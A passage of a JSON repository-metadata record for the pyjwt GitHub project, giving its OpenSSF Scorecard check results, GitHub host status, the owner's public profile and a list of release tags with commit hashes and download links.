:48,"template":false,"template_full_name":null,"purl":"pkg:github/jpadilla/pyjwt","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/sbom","scorecard":{"id":316997,"data":{"date":"2025-08-11","repo":{"name":"github.com/jpadilla/pyjwt","commit":"f2d0ebe7ec6d95cf92d958f9fcbd60ba1911cd3d"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":7.5,"checks":[{"name":"Code-Review","score":8,"reason":"Found 12/15 approved changesets -- score normalized to 8","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Maintained","score":10,"reason":"11 commit(s) and 3 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: topLevel 'contents' permission set to 'read': .github/workflows/enforce-changelog-entry.yml:8","Warn: no topLevel permission defined: .github/workflows/main.yml:1","Info: topLevel 'contents' permission set to 'read': .github/workflows/pypi-package.yml:16","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:26: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:44: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/main.yml:58: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:70: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:96: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:97: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:27: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:31: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:43: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:49: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:63: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/stale.yml:15: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/stale.yml/master?enable=pin","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:36","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:37","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:51","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:77","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:104","Info:   0 out of  11 GitHub-owned GitHubAction dependencies pinned","Info:   1 out of   5 third-party GitHubAction dependencies pinned","Info:   0 out of   5 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Fuzzing","score":10,"reason":"project is fuzzed","details":["Info: OSSFuzz integration found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/pypi-package.yml:34"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"SAST","score":5,"reason":"SAST tool is not run on all commits -- score normalized to 5","details":["Warn: 16 commits out of 27 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-18T00:25:46.882Z","repository_id":1396960,"created_at":"2025-08-18T00:25:46.882Z","updated_at":"2025-08-18T00:25:46.882Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":33197524,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-05-18T09:27:30.708Z","status":"ssl_error","status_checked_at":"2026-05-18T09:27:28.300Z","response_time":71,"last_error":"SSL_connect returned=1 errno=0 peeraddr=140.82.121.5:443 state=error: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"jpadilla","name":"José Padilla","uuid":"83319","kind":"user","description":"@auth0 + @filepreviews ","email":"hello@jpadilla.com","website":"https://jpadilla.com","location":"Hartford, CT","twitter":"jpadilla_","company":"@auth0 ","icon_url":"https://avatars.githubusercontent.com/u/83319?v=4","repositories_count":230,"last_synced_at":"2025-11-23T03:17:15.931Z","metadata":{"has_sponsors_listing":true},"html_url":"https://github.com/jpadilla","funding_links":["https://github.com/sponsors/jpadilla"],"total_stars":12101,"followers":1389,"following":419,"created_at":"2022-11-02T16:29:26.720Z","updated_at":"2025-11-23T03:17:15.932Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla/repositories"},"tags":[{"name":"2.13.0","sha":"7144e4534c34810f4525dc4578a32addd8212cff","kind":"commit","published_at":"2026-05-21T19:34:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.13.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.13.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.13.0/manifests"},{"name":"2.12.1","sha":"a4e1a3d1218b01c5806420b8f16d9308ac4adc30","kind":"commit","published_at":"2026-03-13T18:41:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.12.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.12.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.12.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.1/manifests"},{"name":"2.12.0","sha":"bd9700cca7f9258fadcc429c1034e508025931f2","kind":"commit","published_at":"2026-03-12T17:08:41.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.12.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.0/manifests"},{"name":"2.11.0","sha":"697344d25990641b8b2aa85f0a60634b590b5702","kind":"commit","published_at":"2026-01-30T18:44:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.11.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.11.0/manifests"},{"name":"2.10.1","sha":"3ebbb22f30f2b1b41727b269a08b427e9a85d6bb","kind":"commit","published_at":"2024-11-28T03:30:29.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.10.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.10.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.10.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.1/manifests"},{"name":"2.10.0","sha":"783f324e5d2155462515ced45718fc164dd04db2","kind":"commit","published_at":"2024-11-16T13:57:38.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.10.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.0/manifests"},{"name":"2.9.0","sha":"868cf4ab2ca5a0a39da40e5a14dd740b203662b2","kind":"commit","published_at":"2024-07-31T12:40:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.9.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.9.0/manifests"},{"name":"2.8.0","sha":"72ad55f6d7041ae698dc0790a690804118be50fc","kind":"commit","published_at":"2023-07-18T18:30:05.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.8.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.8.0/manifests"},{"name":"2.7.0","sha":"d7c54dbebdab2ae17f7948fd4432b15e1bb82852","kind":"commit","published_at":"2023-05-09T19:04:21.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.7.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.7.0/manifests"},{"name":"2.6.0","sha":"7665aa625506a11bae50b56d3e04413a3dc6fdf8","kind":"commit","published_at":"2022-10-20T01:08:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.6.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.6.0/manifests"},{"name":"2.5.0","sha":"c9006103b56359b3ad788bb2e380ef17dfe59b05","kind":"commit","published_at":"2022-09-17T13:52:22.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.5.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.5.0/manifests"},{"name":"2.4.0","sha":"83ff831a4d11190e3a0bed781da43f8d84352653","kind":"commit","published_at":"2022-05-12T18:51:41.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.4.0/manifests"},{"name":"2.3.0","sha":"98620ab2a396a5c887a494259d49552c2093e1ad","kind":"commit","published_at":"2021-10-16T15:46:05.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.3.0/manifests"},{"name":"2.2.0","sha":"6223ba13780a941a3f4c9dec62f282bdd9b5afb0","kind":"commit","published_at":"2021-10-06T14:03:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.2.0/manifests"},{"name":"2.1.0","sha":"79c23d7d9d32364be8f94680d8eda7135c3a15d5","kind":"commit","published_at":"2021-04-28T11:59:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.1.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.1.0/manifests"},{"name":"2.0.1","sha":"3993ce1d3503b58cf74699a89ba9e5c18ef9b556","kind":"commit","published_at":"2021-01-17T17:56:19.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.1/manifests"},{"name":"2.0.0","sha":"482364776109cb597af7f679161dcf9c3ef5d0ea","kind":"commit","published_at":"2020-12-22T13:37:35.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0/manifests"},{"name":"2.0.0a2","sha":"5bf8e70f26309b0a5ceda49ce0a7e97e89eee764","kind":"commit","published_at":"2020-12-20T00:02:44.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0a2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0a2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0a2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a2/manifests"},{"name":"2.0.0a1","sha":"8041cb607a733a9b5fffe1e9136d55a40bcea25b","kind":"commit","published_at":"2020-11-02T12:58:11.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0a1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0a1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0a1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a1/manifests"},{"name":"1.7.1","sha":"b65e1ac6dc4d11801f3642eaab34ae6a54162c18","kind":"tag","published_at":"2018-12-07T13:40:31.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.7.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.1/manifests"},{"name":"1.7.0","sha":"3f735fdf68cc865a6241aae1fcf92a410c73fbdb","kind":"tag","published_at":"2018-12-02T03:49:29.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.7.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.0/manifests"},{"name":"1.6.4","sha":"d25c92ca5e9980ca7bc8b31420bf36e3f4a9e3f0","kind":"tag","published_at":"2018-05-24T02:47:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.4","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.4/manifests"},{"name":"1.6.3","sha":"070015d79ed5277c6d76fa8f996fb9698257afe4","kind":"tag","published_at":"2018-05-19T17:13:50.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.3/manifests"},{"name":"1.6.1","sha":"285afade1d14eb810615c5bc751ea2c6a7a3314a","kind":"tag","published_at":"2018-03-18T13:38:37.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.1/manifests"},{"name":"1.6.0","sha":"7ae1dee63dab887d39ea4ca3365e81392a1c2396","kind":"tag","published_at":"2018-03-03T16:55:02.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.0/manifests"},{"name":"1.5.3","sha":"72bb76cb343bb6d0f40fcd0d136898b8ba08c323","kind":"tag","published_at":"2017-09-05T18:21:44.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.3/manifests"},{"name":"1.5.2","sha":"74399b1856573d8545b8dbbcac0db29a5656979d","kind":"tag","published_at":"2017-06-22T16:31:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.2/manifests"},{"name":"1.5.1","sha":"bc966214de9852258dd00dd2efc01ce6c9a22ac6","kind":"tag","published_at":"2017-06-22T14:57:07.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.1/manifests"},{"name":"1.5.0","sha":"908ee84aeefb8126a94e48e88ba9916d9d2512b3","kind":"tag","published_at":"2017-04-19T14:38:28.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/G